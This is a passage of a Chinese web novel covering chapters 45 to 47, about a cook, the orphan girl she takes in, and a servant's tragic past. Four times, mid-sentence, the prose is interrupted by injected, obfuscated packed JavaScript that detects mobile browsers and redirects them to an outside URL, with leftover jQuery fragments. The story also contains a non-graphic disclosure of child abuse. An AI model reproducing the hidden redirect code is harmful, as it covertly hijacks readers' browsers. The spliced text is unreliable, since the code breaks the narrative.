鸡胸肉冷水下锅,加入葱姜,开火煮,秦见君盖上锅盖抬头,这才看见花招弟的局促,她朝女孩招手:“来,帮我把香橼洗干净。” 花招弟连忙上前,急得踉跄了一下,手在台面上磕了一下才稳住身子。 “不着急......”秦见君将冰凉的香橼放入水中,端给花招弟,道,“每个香橼都要用手搓干净表皮......” 花招弟点头,满脸认真地低头搓着明黄饱满的香橼,忍不住吸了吸鼻子——这个香喷喷的果子叫“香圆”吗? 秦见君看花招弟不再那么紧绷了,便转头取了碗开始调酱料,将花椒、葱花、蒜末、芝麻放入碗中,淋上热油,滋啦一声过后,香气就隐隐出来了,接着又加入酱油、醋、白糖、盐,搅拌均匀,这才算调好了酱料。 秦见君揭开锅盖,鸡胸肉已经煮熟了,加了葱姜,腥气不那么重,留下的鸡肉香更浓郁。 鸡胸肉盛出晾凉,秦见君探头去看花招弟。 花招弟忙让开身子道:“洗好了。” 秦见君接过香橼,放在砧板上切成了片,看花招弟一边咽口水一边盯着砧板上的香橼片,秦见君忍不住起了坏心思。 “尝尝。”她切了一小块香橼递到花招弟嘴边,花招弟受宠若惊地想抬手接,秦见君却轻巧躲过,扬了扬下巴,示意花招弟就这么吃。 于是花招弟抻着脖子,张嘴一口咬住,瞬间脸便皱成了一团:“啊......”她张着嘴,不敢吐,用被酸得眼泪汪汪的眸子去看秦见君。 “哈哈哈!”秦见君想起先前裴眠吃香橼也是这个表情,她大笑道,“吐了吧哈哈哈!” 秦见君在知州府这段日子里不仅养出些肉来,气色也变得极好,大笑两声后白皙的脸颊上便爬上了红晕,看着很灵动漂亮,花招弟呆呆望着,忽然也忍不住笑出声。 两人对着笑了会儿,先前横亘在两人之间的隐形隔膜在不知不觉中消散,花招弟的肩膀不再那么僵硬地缩着,秦见君的嘴角也重新挂上了柔和的笑。 晾凉的鸡胸肉撕成细条,秦见君又抓了一把胡荽,随后用擦丝器擦了一些黄瓜丝,花招弟在一旁看得一愣一愣的,视线黏在擦丝器上便再没离开。 “这个很锋利,你小心点看。”秦见君将擦丝器递给女孩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728666|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花招弟端详着手中的擦丝器,小声喃喃:“凉皮摊上,也有。” “嗯,袁分的手不好切丝,擦丝器对他来说很有用。”秦见君搭话,手上动作不停,将鸡胸肉细条、香橼片、胡荽和黄瓜丝都装入碗中,再淋上酱汁,用筷子拌匀。 “他的手......”花招弟抬头,眼睛里都是疑惑。 “我也不知道。”秦见君摇摇头,想起花招弟先前拒绝了袁分的“帮助”,于是补了一句,“虽然相处时间不长,但我觉得他是个很好的人......你也可以多跟他接触......来,尝尝看......”秦见君夹起鸡胸肉送到花招弟嘴边。 鼻尖漫上来酸酸香香的气味,花招弟丝毫不吸取先前被秦见君戏耍的教训,仍然信任地张嘴接住了鸡胸肉,不过这次与香橼不同,她嚼了两下,眼睛都睁大了。 撕成细条的鸡胸肉完全不柴,沾着的酱汁顺着鸡肉丝的缝隙钻进去,在被咬开时瞬间迸出,带着香橼的酸味和香气,还有芝麻香和咸甜味,味道之丰富简直超出花招弟这十余年来的想象,但这些看似并不协调的味道却在嘴里相处融洽,她细细嚼了许久才舍得咽下去。 “怎么样?” 花招弟猛猛点头道:“好吃!很好吃!” 她声音向来小小的,这么用力说话还是第一次,秦见君满足于这样的反馈,将拌好的香橼手撕鸡推到花招弟手边:“吃吧。” 说完,她拿出早就备好的食盒,在底下垫了一层冰,再将一大碗香橼手撕鸡放进去,仔细盖上盖子。 花招弟还在对着自己那碗手撕鸡发愣——这是鸡肉......是肉...... 她很少吃肉,若不是今日跟着秦见君,她早就忘了肉是什么味道了,眼前这碗酱料满满的鸡肉让她有些惶恐......能吃吗?吃完这顿,以后还会有吗? 她僵在原地不敢动,怯怯地抬头去看秦见君。 秦见君盖好食盒,转头一看便知晓女孩在想什么,心中有些酸涩,柔声道:“吃吧,这碗是你的。” 花招弟又低下头去看碗中的肉,伸手拿住筷子,有些不熟练地夹鸡丝,奈何用筷子的技术实在不怎么样,夹了半天才夹起来一根。 这些秦见君都看在眼里,但并未上前帮忙,只由着花招弟自己折腾。 两条大街外的赵府中,裴眠正对着地图发愁,赵浅浅坐在一旁翻看图纸。 “裴眠!”赵浅聿风风火火从门外进来,带进来一股热风。 裴眠抬头看过去,赵浅聿手里拎着个食盒。 “给,你家小厨娘让人送来的。”赵浅聿将食盒放在裴眠面前,压在地图上。 裴眠愣了愣——秦见君让人送来的? 他打开食盒,一股酸酸香香的味道涌入鼻腔,被折磨了许久的胃忽然有了反应,开始叫嚣着要吃东西...... “好香啊......”赵浅聿凑过去闻,两眼放光地看向食盒中的香橼手撕鸡,正要伸手取筷子,眼前的美味却忽然撤离了自己视线。 “你做什么?”赵浅聿转头看向拽走食盒的人。 裴眠将食盒盖好放在腿上,操纵轮椅往外去,淡淡道:“这是我的。” 45.第 45 章 今夜的烟火由梁家安排,时辰提前了些,秦见君还是如往常的时辰到了巷子中,却发现她的摊位上已经有好几个百姓在排队了。 “秦小娘是不知今日放烟火的时辰吗?” 秦见君认得他,他是第一个买她羊肉串的那位书生,叫黄铿。 “听说了,只是不知道大家都会提前出门......”秦见君挂着笑回道,手上熟练地取出羊肉串放在烧烤架上。 “那你可要吸取‘教训’了,否则要错过许多生意呢!”黄铿同她说笑,指了指身后的几个同伴道,“我今日特地带了友人来,下午便从过岭州赶来,他们都不信羊肉串有多好吃,你再晚来一会儿,我便要背上‘骗子’的名头了......” 黄铿带来的几人也都是书生模样,原先等得有些不耐烦了,可看到秦见君,又忽然噤了声,看起来有些拘谨。 秦见君仍然嘴上挂着笑道:“多谢黄秀才了,给您抹零头!” 黄铿倒不在乎这几文钱,只是秦见君的熟稔态度让他觉得舒心,便笑着点头,但他身后的几位友人仍在悄悄打量秦见君。 秦见君自然感受到那几道目光了,她并不做反应,而是低头专心烤肉,果然没一会儿那几道视线便挪开了。 秦见君暗自舒了口气,放心地继续烤肉,耳边传来几位书生闲谈的声音。 “你看见转运使大人了吗?” “我这几日都在家看新得的孤本,未曾出门......” “我可看见了,是个女子,听闻是知州大人的妹妹,这段日子都住在知州府呢。” 秦见君忍不住竖起耳朵——他们在聊赵浅浅。 “女子?我朝女官只有一位......莫非是......?” “是!”那书生道,“就是赵大人的妹妹,此次出虔渊州似是为了南方水患之事,待治了水患,便又要回虔渊州去了......” “你这话听着有趣,转运使大人的去留你这么在乎做什么?难道你对转运使大人......?” “别胡说!我哪敢肖想那等美事?再说了,绵州知州这段日子也在过岭州,同在赵府,才子佳人的,难保不互生情愫......” 秦见君蹙眉,抬手翻了一下手上的肉串,继续听着。 “说的也是,再怎么说,裴大人也是从虔渊州来的,说不定二人有旧交,此次借水患之由凑在一块儿,若真成了良缘也是好事。” 其余几人纷纷附和。 “给您。”秦见君举起羊肉串,黄铿伸手接过,分发给友人们,毫无疑问收获了此起彼伏的称赞声,几位书生的目光又重新回到秦见君身上。 “秦小娘是绵州人吗?” “不是的。” 说到这里,书生也明白了秦见君并不想透露自己是哪里人,于是又转了口风问:“秦小娘婚配否?” 秦见君讶于对方的直接与坦诚,抬眼望过去——那书生并未参与方才的谈话,一直站在一旁阴影中,这会儿走到灯笼下,才露出一张清俊的脸。 “罗衔玉,你这话可是够直白的。”黄铿挑眉看向自己的友人,揶揄道。 罗衔玉腼腆低头笑了笑,又抬头望向秦见君。 秦见君心中叹气——这桃花来得真不是时候,若是没有裴眠在先,她还是挺愿意接触这位罗衔玉的,长相清俊,腼腆但又敢于打直球,也不爱在人后议论闲话...... “没有婚配,但......”她摊开手露出身前的烧烤摊,状似无奈道,“眼下填饱肚子比花前月下更要紧些。” 罗衔玉似是没想到她回话如此有趣,忍不住笑了一声,道:“你说的是。” 几人并未多聊,因为随着放烟火的时辰临近,街头巷尾的人逐渐多起来,秦见君与袁分的摊子也像往日一样被围得水泄不通。 秦见君从来买羊肉串和凉皮的客人口中得知,今日是梁府老爷的寿辰,家中小辈特意买了烟火来哄他高兴,这会儿人都聚在桥边等着放烟火。 秦见君百忙之后还抽空转头看了一眼,花招弟正安静地坐在两人摊位后头,手上端着一份凉皮,埋头吃着,于是她又侧头看了一眼袁分,他依旧沉默,单手麻利地拌着凉皮。 待烟火放完了,人群也渐渐散去,秦见君招呼袁分收摊,正在此时,巷尾来了一对夫妻。 两人衣裳料子极好,体态也不似老年人佝偻,只不过华发丛生,脸上沟壑连连,看着似是受了什么打击,生生老成了这副模样。 “对不住了,今日凉皮和羊肉串都售罄了......”秦见君说着话,忽然觉得气氛不对,那对夫妻直直看向袁分,并未分半点目光给自己,两人脸上带着些惊讶,转而又夹杂了一丝愤怒...... 秦见君不说话了,侧头小声问袁分:“你认识?” 袁分平时不爱说话,但被问及时也是一定会礼貌回复的,不像现在,他似是没听到秦见君的话,眼神直愣愣地看向那对夫妻,垂在腿边的手不自觉攥紧。 夫妻俩相互搀扶着,看了袁分半晌,一句话都不说便转身要走。 “老爷、夫人......”袁分开口了。 夫妻俩背影顿住,男子稍稍转过脸来,低声道:“我们主仆缘分早尽了......”说完又搀着妻子往前走。 秦见君在一旁听着,猜测这两人便是袁分先前的主人家。 她听裴眠说过,袁分与袁原这样的身份,被卖到主人家后很少有善终的,尤其主人家愿意撕毁契约、还其自由的,更是闻所未闻。 人多时,巷子里尚且热闹,如今街上只剩下三三两两的行人,巷子中便只余静谧。 两夫妻身材都不算高大,瘦杆儿似的撑着衣裳,逆光走向巷子外,细长的影子拖在地上,二人的背影显得孤寂又倔强。 “老爷、夫人......”袁分又喊了一声,放下推车追上去,身影很快便消失在转角。 秦见君转头与花招弟面面相觑,都不知该如何是好,不过两人也没闲着,将推车收拾好,继续等在巷子中。 待连谭连丰都收摊告辞了,巷子中便只剩下两人。 秦见君觉得身后有些发凉,夏夜居然有阵阵冷风从巷尾吹过来,巷子口还是一点动静都没有。 “我们先回去。”秦见君带着花招弟,两人一人推一辆推车,回了裴府。 接下来一连几日,袁分都不见踪影,连常住的院子都一直没回去过,秦见君觉得不对劲。 这日起床时,窗外忽然划过一道闪电,随后震天的轰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731658|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸣声传来,不一会儿,豆大的雨点便噼里啪啦地砸在窗户上。 秦见君开门看了看,院子里的鱼鳞铺地被冲刷得干干净净,缝隙中填满了雨水,已有薄薄一层,想来外头路边的泥土也都浮了出来,她索性不出摊了。 她将先前裴眠给她抄字的字帖拿出来,铺在桌上,让花招弟照着临摹,说自己要出去一趟,接着撑伞去了厨房,不一会儿又拎着食盒转去大厨房找那位给裴眠送饭的小厮。 “你要同我一道去?可今日雨大,路不好走,要不明日再......” “没事的,我能走,我有事要找大人,劳烦带路了。”秦见君道。 那小厮见她如此坚持,便也不多话,取了伞带她出门。 两条大街的路途算不得遥远,但步行也算不上很近,秦见君觉得这路似乎有从井沟村到湖梁县那么远,平日里走过去只要半个时辰,可今日雨大,地面湿滑,硬是拖了一个多时辰才到赵府。 府中裴眠停了笔,赵浅聿与赵浅浅凑过来,三人对着地图交谈许久。 “那我便将这图纸呈上去了。”赵浅聿松了口气,南方水患形势紧急,朝堂上却在内斗,三人宵衣旰食呈上去的几份图纸与名单,被有心之人截下,这头迟迟未收到官家答复,裴眠起了疑心,派袁原去查,这才得知图纸被毁了。 恰好裴眠又想到了一些图纸上的不妥之处,于是开始重新绘制,熬了通宵,这会儿才完成。 赵浅浅打了个呵欠,目送自家兄长拿着图纸出了门,转头望向裴眠道:“我送你回去休息?一夜未合眼,该累坏了......”她说着便要去推轮椅。 裴眠抬手拦了一下,许久没喝水,嗓子有些哑:“不必,我用过早饭再休息。” 赵浅浅顿住,这些日子裴眠的早、中、晚饭都是秦见君做了由小厮送来的,每每到了吃饭的时辰,他都会停下手头的事,揭开食盒,沉浸享用...... 她垂眸看着裴眠疲惫却要强撑的眉眼,心中有些酸涩。 裴眠是不喜浪费人力的,如今却为了吃上一口秦见君做的饭菜,任由府中小厮每日几个时辰地跑来跑去送食盒...... 她忍不住咬住下唇,虽心有不甘,却也不好发作,只能默然告辞。 “郎君!”赵浅浅一出去,裴小之便进了门,他的眉毛高高挑起,兴奋之情溢于言表,“郎君!秦小娘来了!” 裴眠抬眼,方才还涣散的眼神一下子聚了起来,隐隐闪着光。 秦见君被带着走进赵府时,忍不住四下张望——与裴府不同,这里处处透着“精致”的气息,无论是院中假山,还是檐下花卉,都布置得十分精巧,步转景移,不同角度的景色都十分赏心悦目...... 忽然余光掠过一个人影,秦见君转头去看,是赵浅浅。 赵浅浅也自然看到了秦见君,她背着手上前同秦见君打招呼,身后跟着打伞的下人。 “怎么有空来送食盒?”赵浅浅记得裴眠曾说过,秦见君每日都要出摊的。 “下雨了,路上不好走,巷子里人少,索性休息一天。”秦见君并未告知赵浅浅,她是为袁分的事情而来。 赵浅浅点头,伸手道:“那你将食盒给我吧,我替你送,你快些回去休息。” 46.第 46 章 秦见君攥紧了食盒,正想着该如何拒绝,身后便传来裴眠的声音。 “秦见君,过来。” 有段时间没听过他的声音了,温润明亮的声线穿过雨幕,轻轻撞了一下秦见君的心尖。 赵浅浅自觉没趣,招呼也不打便走了。 秦见君这才转头去看裴眠,她终于得到了那日在荷塘边的猜想答案——裴眠坐在轮椅中,裴小之站在一旁打着伞,雨水飘入伞下,洇在裴眠衣摆上,浅色衣裳渐染为深,膝头的布料被湿布扯紧,显出一点骨骼轮廓...... 窗外的雨小了,只留下稀疏的滴答声。 秦见君将食盒放在桌上,四下打量了一番,这里与裴眠在知州府的屋子陈设差不多,想来是住得惯的。 “今日怎么亲自来了?”裴眠换了身干爽的衣裳出来。 秦见君忍不住盯着裴眠的脸看了会儿,心道好看的脸确实会让人感到心情愉悦......只是他看起来似乎有些疲累...... “最近袁分不见了......”她忙收起“看美人”的心思,道出此行的目的。 裴眠一边吃着她带来的早饭,一边听她说话。 她说话时似是在回忆当时的场景,表情认真,眼睛完全张开,眉梢微微挑着,讲到疑惑的点时还会蹙眉,辅以手上动作,看起来很生动。 待秦见君说完,裴眠也正好吃完了,他放下筷子,擦了嘴才开口道:“袁分身手不凡,不必太过担心,这事我会让袁原去查。” 秦见君点点头,上前收起食盒,盖上盖子后,双手搭在木质把手上,并未立刻离开,而是问裴眠:“水患的事怎么样了?” 裴眠熬了一夜,又享受了一份美味早饭,这会儿困得不行,但还是打起精神回秦见君的话:“人选与路线都呈给官家了,最迟今夜应该能收到答复。” 秦见君抿了抿唇,忍不住问:“那你什么时候能回府?” “嗯?”裴眠的反应有些迟钝。 秦见君看他有点呆呆的,眼神也有些涣散,于是松开搭在食盒上的手,改为撑在桌上,弯腰凑过去看裴眠,道:“在赵府住了这么久,什么时候回府?” 凑近了她才发现,裴眠眼下有些青黑,眼皮也微微耷拉着。 “你昨晚没睡好?”秦见君又问。 裴眠闭上眼将头转向一边,抬手按了按眉心,轻叹了一声道:“没睡......” 秦见君蹙眉,裴小之说的果然没错,裴眠就是个工作狂,一工作起来就连吃饭和睡觉都顾不上了...... “那你快去休息吧。”秦见君站直身子,重新拎起食盒道,“中午就不送饭来了,你应该也起不来吃。” 裴眠靠在轮椅上,眼睛都半阖了,小声应了一下:“嗯。” 秦见君正要走,听到他嗯一声,又转回来了。 裴眠连发出声音的力气都不想花,只半睁着眼看向秦见君,似是在询问她“怎么了”。 秦见君三两步走到裴眠身前,弯腰与他对视,他似是真的困了,眼睁睁看着自己凑过去,也不躲不闪。 “裴眠......”秦见君喊他。 裴眠不明所以,但还是应声:“嗯。” “裴眠。” “嗯。” “裴眠。” “嗯......” 裴眠有些撑不住了,眼皮打架,秦见君的身影也越来越模糊...... 秦见君心满意足地听了好几声软糯糯的“嗯”,待裴眠完全阖上眼,她便拿着食盒出去叫裴小之了。 一直到回了裴府,秦见君的嘴角还挂着笑。 “姐姐。” 外面还在下雨,花招弟却并未在屋子里等,而是在院子门口的拱门下蹲着,看到秦见君过来,便立刻起身喊她。 “怎么在这儿等?下着雨呢,衣裳都溅湿了......”秦见君一边说,一边上前拉着花招弟往屋子里走。 花招弟进了屋子,小声道:“对不起......” “嗯?”秦见君看她,不知道她为什么道歉。 花招弟低头抬了抬腿,不好意思道:“衣裳被溅湿了......我会自己洗干净的......” 秦见君抬手揉了揉花招弟的脑袋,柔声道:“衣裳沾湿容易着凉,不是怕洗起来麻烦,不过你的衣裳确实要自己洗。”她觉得掌握基础生活技能是非常重要的。 花招弟点点头,被秦见君带着去换了身干爽衣裳,出来后便局促地站着,秦见君的视线几次扫过她,觉得她似乎有话要说。 “怎么了?” “姐姐......”花招弟顿了顿,鼓起勇气道,“你买我吧......” 秦见君闻言,停了手上的事,心想也确实该问问孩子的想法。 “这事我不一定有门路......”她想了想,又问,“要是卖凉皮的哥哥想买......” “我不想......”花招弟的声音有些颤抖,似是在恐惧什么,眼里瞬间蓄满了泪水,连肩膀都开始颤抖。 “这是怎么了?你怕袁分?”秦见君将花招弟揽入怀中,轻拍着她的后背问。 “怕......”花招弟的眼泪滚了出来,抽泣声极小,若不是说话不利索,怕是没人会发现她哭了。 待她哭了会儿,秦见君又开口道:“是不要袁分,还是不要除我以外的任何人?” 花招弟的手攥紧了秦见君的衣裳,扯得她外衫要落不落的。 “不要......只要你......”她的声音还带着哭腔,听起来可怜极了。 秦见君拉起袖子给她擦了眼泪,劝道:“别看袁分面冷,其实他心肠很好的,他不是还给你做了凉皮吃?” 花招弟的面皮都哭红了,偏黑的皮肤还能看出红色,可见哭得有多狠。 “不要......他会......摸我......” 秦见君心头一跳,脸色瞬间由温和转为严肃,声音也冷了许多:“袁分摸了你?” 花招弟摇头:“没......” “那你怎么说他会摸你?”秦见君问。 “明哥哥......给我吃馒头......摸我......” 秦见君一下子便反应过来,袁分并没有做过这件事,只是花招弟从前经历过,所以下意识认为袁分也会这么做。 “明哥哥是谁?” 花招弟带着浓重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736877|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鼻音道:“隔壁的......哥哥......” 想来是同住一个院子里的“哥哥”,秦见君试图回忆,却想不起与花招弟娘亲对峙时,身边都站着什么人了...... 秦见君看她情绪还算稳定,便又放轻了声音问:“他摸你哪儿了?” 花招弟无端打了个激灵,身子狠狠颤了一下,半晌才指了指自己胸口与腿根。 秦见君忍不住用舌尖舔了舔牙齿,动作微小,花招弟并未注意到,还在同秦见君说:“他给我吃馒头,然后摸我,不许跑......不许叫......” 秦见君的指尖抠入掌心,待花招弟全都说完,她才强迫自己松开紧握的拳头,柔声安慰她:“没事了,以后再遇到这种事,要告诉我。” 花招弟摇头,轻声道:“我......告诉了娘......然后她不让我回家睡......” 所以花招弟才一个人流落街头?秦见君不知该作何反应,她在孤儿院时真的很羡慕有父母的孩子,长大后才知道,原来有些“父母”还不如没有,眼下听到花招弟的经历,她便愈发觉得,这世上也不是所有人都配当父母的...... 外面雨停了,她带着花招弟去厨房,挑了一把用来雕花的小刀,用布条缠住。 “这个带好,若是再遇到那个明哥哥想摸你,或者任何别人想摸你,只管用刀划他们,逃出来找我,后果我来担。”秦见君嘱咐花招弟。 其实她心里没什么底,大荆的律法中不知有没有“正当防卫”相关的条例,若是没有,花招弟又不小心弄出人命......那就只能拜托裴眠了...... 不过眼下想这些还太早,在花招弟的归属确定前,自己是不会让她落于险境的。 “刀一定要随身带着。”她不放心,又叮嘱了一遍。 “知道。”花招弟小心翼翼地将刀收起来,刚哭过的眼睛亮晶晶的,抬头望着秦见君。 孩子到底是孩子,哭一顿后就似乎消散了些烦恼,秦见君冲她笑,心里却暗暗计划着要如何教训教训那个“明哥哥”。 中午她带着花招弟去大厨房蹭饭,意料之外的是下人们都很喜欢花招弟,虽然花招弟话少又胆小,但这恰好能激起其他人的保护欲,一顿午饭吃得有说有笑。 关于花招弟的身世,秦见君原本不打算说,但孩子自己没瞒着,问什么说什么,三两句就让下人们对她的遭遇深表同情,碗里的肉也堆得冒尖儿,纷纷劝她多吃些。 吃过饭秦见君便陪着花招弟练字,午后阴云散去,阳光从云边探出,将树叶上的水珠照得晶莹发亮。 “秦小娘!铁匠谱子送东西来了!” 秦见君听到小厮的喊声才想起,不知不觉已半月过去,先前定做的厨具都一并送过来了。 她仔细检查了每一个厨具,满意得不行,尤其是最大的烤炉桶,一个大桶子,可以同时烤很多张饼! 两人练字都十分专心,厨具送来时已经到了要做晚饭的时辰。 “吃不吃鸡蛋灌饼?”秦见君转头问花招弟,印象中,这么大的孩子正是喜欢吃小吃的时候,金黄酥脆的鸡蛋灌饼裹着清爽的生菜与香嫩的炸鸡柳,简直是人间美味...... 47.第 47 章 “鸡蛋灌饼是什么?”花招弟没听说过。 秦见君买了个关子道:“要不要一起做?你肯定会喜欢!” 花招弟点头——她吃过的“一手食物”很少,味道好的更是无福享受,这几日跟着秦见君无论吃什么都觉得是人间美味,嘴和胃都被秦见君彻彻底底征服了。 “你看,盆里的面粉用筷子划成两边,一边加冷水,一边加热水,搅拌均匀......” 花招弟看着絮状面糊渐渐成型,接着秦见君便带着她一起去洗了手,两人一起用手揉面团。 她怕揉不好,不怎么用力也不怎么敢动。 “用力揉就好了,不会揉坏的。”秦见君捉住花招弟的手一起揉面团。 掌心的面团软乎乎的,表面有点黏手,任自己揉圆搓扁,花招弟见自己越用力,面团便越团结,于是也放了心。 秦见君发觉花招弟开始主动揉面了,于是撤出自己的手道:“揉到没有干粉,然后再拿出来放在面板上揉成团,我去腌肉。” 花招弟点头,认真盯着手中的面团,立誓绝不能做坏! 腌好鸡肉,秦见君便用碗装了油与面粉,搅和细腻,起好油酥,转头一看,花招弟的面团揉得很成功。 她接过面团,将其搓成长条,切成等份的剂子,再盖上盖子等待松弛。 “接下来要炸鸡肉,你离远一点,小心被油崩着......”秦见君让花招弟站远了点,起锅热油,下入腌好的鸡肉,滋滋啦啦的油爆声响起,鸡肉变得金黄酥脆,周边的油泡绵密清亮。 花招弟忍不住踮脚去看。 炸好的鸡肉捞起晾凉,秦见君揭开了盖着面团的盖子,取出剂子擀成长舌形,刷一半油酥,折叠面饼,再从一侧卷至另一侧,接着按压成饼状,再重新擀开成圆饼。 重新起锅倒油,油热后将面饼放进去煎,待饼周变得金黄时,面皮也鼓了起来,像是有人在里头吹气,鼓起的薄皮油润饱满。 “看仔细哦......”秦见君打了个鸡蛋在碗中,搅拌均匀后,用筷子将鼓起的面皮戳破一个小口,撑着这个小口将鸡蛋倒了进去。 “哇......”花招弟这才知道,原来鸡蛋灌饼真的是鸡蛋“灌”饼! 灌入了鸡蛋的饼继续煎至两面金黄,取出来后花招弟便紧盯着不放,秦见君觉得好笑,但还是解释了一句:“还没做好,再等等。” 花招弟觉得有些不好意思,忙咽了咽口水退后两步,贴着墙根站着。 将煎好的饼放入烤炉桶中烘烤,这是鸡蛋灌饼的面皮酥脆的关键。 从烤炉桶中取出的饼有明显鼓包,秦见君将饼对折,外面的酥皮被折断,发出清脆的“咔嚓”声,花招弟能听出来,不止一层,层层叠得的脆皮都微微鼓起,能想象一口咬下去该有多香...... 刷上早就调好的酱料,放上一片生菜,中间再夹两片炸鸡肉,秦见君用油纸包住,将折好的鸡蛋灌饼递给花招弟:“先捏着油纸,饼还有些烫,你慢点......” 花招弟小心地捏住油纸,虽然并未碰到饼,但指尖却能感受到热气,还有酱香和饼香,裹着热气直往鼻腔里钻,她忍不住吞了好几下口水。 经过几次嘴唇碰饼皮的试探,花招弟觉得能吃了,于是张大嘴用力咬了一口。 饼皮如想象中被烤得层层叠叠地鼓起,每一层都是充满了饼香的酥脆,中间的炸鸡肉破开脆皮后咸香嫩滑,生菜也十分饱满脆爽。 花招弟从未吃过这么美味的饼,一时也顾不上说话,一口接着一口,嘴里还嚼着饼,眼睛已经在扫视下一口的落点了。 秦见君却在一旁有些犯愁,她担心半时辰的路程会让饼皮不那么酥脆,影响口感,正考虑要不要重新做点别的吃食,就听见了裴小之的声音。 “秦小娘!我们回来了!晚饭做了什么?” 秦见君惊喜地跑到厨房门口向外看,裴小之推着裴眠从石甬路上过来。 “怎么回来了?”秦见君问。 裴眠似是休息好了,恢复了精神:“方才收到答复,事情已经交代下去了,用不上我,便回来了。” 秦见君忽然觉得心落到了该落的地方,裴眠出府这些日子她一直有些不习惯,这会儿看见裴眠坐在厨房外的石桌边,她都移不开眼。 这段日子都是自己做饭,让小厮送到赵府去,裴眠的气色看起来还不错——秦见君很满意。 “这是那个孩子?”裴眠侧头看向花招弟。 秦见君这才想起还没介绍花招弟,于是道:“是的。” 花招弟手中还剩一个饼边,嘴角挂着饼屑和酱汁,表情有些呆滞地盯着裴眠——她没见过长得这么好看的人。 秦见君见状正想吐槽,又忽然想起,自己第一次见裴眠时,反应也没比花招弟好到哪儿去...... “正好,晚上做了鸡蛋灌饼,我还怕送过去就不脆了,你们回来了就不用担心这个了......”秦见君说着,将酥脆的鸡蛋灌饼递给两人。 裴小之同花招弟、秦见君一样,吃得满脸是渣,只有裴眠一人只有嘴角有一点酱汁,吃相一如既往的斯文。 吃过晚饭,裴眠让裴小之推自己回淌虹苑,走之前他小声对秦见君道:“晚些一个人来卧房找我。” 秦见君眨眨眼,看着裴眠远去的背影,心里突突地跳——什么意思?一个人?晚上?去卧房里找他? 她满脑子废料,有些心不在焉地洗了澡,安排花招弟睡下,这才出门去找裴眠。 是裴小之开的门,看到秦见君过来,他没有半分惊讶,而是坦然道:“你来了,那我就先去休息了,这几日可太累了......” 秦见君点头,目送他离开,关上门,绕过屏风,裴眠正坐在床上看书。 “咳......” 听到声音,裴眠抬起头,合上书,对她道:“坐。” 秦见君搬了个凳子,坐在床边,乖巧地看着裴眠,努力收起那些关于“孤男寡女共处一室”的废料们...... “我让袁原去查了......” 听裴眠提起袁原,秦见君心中的旖旎瞬间消散,转而认真听着。 “那夜他去追的夫妻,是他先前的主人家,男子名为吴清文,先前在虔渊州做生意,小有所成,怕被同行盯上,于是买了袁分,但.....”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740945|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秦见君听得入迷,追问道:“但什么?” 裴眠轻叹了声道:“吴清文与妻子韩月育有一女,名为吴幽,袁分与吴幽......两情相悦......” 秦见君心中有不好的猜测,问:“然后呢?吴老爷他是不是不同意?” “嗯。”裴眠继续道,“吴清文与韩月看不上袁分,便将袁分派出虔渊州去,与吴幽分隔两地,夫妻二人还为吴幽说了一门亲事,吴幽得知后抵死不从,夫妻二人便骗她袁分已经死了,她伤心欲绝,苦等了几日,直到出嫁前日,她写下绝笔,第二日便一头撞死在夫家门口......” 秦见君蹙眉——这故事怎么这么耳熟? 裴眠看她表情,便知道她发现了,于是道:“吴幽就是先前裴小之说的那位‘被鬼上身’的小姐,只不过他听的多是传言,所以才以为是‘鬼上身’。” 秦见君点点头,又问:“那袁分他怎么......?”怎么得知吴小姐的死讯?怎么从吴府离开?又是怎么断的右手? “袁分被派出虔渊州后便觉察到不对,想回虔渊州,却被吴清文派人拦下,双拳难敌四手,他断臂逃脱,但赶回虔渊州时还是晚了......” 秦见君不知该作何反应:父母为女儿前程着想,一对年轻人又情意大过天,很难说谁对谁错,结局一死一伤,只余唏嘘。 “吴小姐死了,吴老爷应该很恨袁分,袁分他是怎么......”怎么活下来的呢? “吴幽的绝笔书除拜谢父母养育之恩外,便是恳求爹娘留下袁分的命,于是吴清文撕毁了契约,还袁分自由,旧地回忆难消,他便举家搬离了虔渊州。” 秦见君垂下头,难怪吴老爷说他与袁分“主仆缘分已尽”。 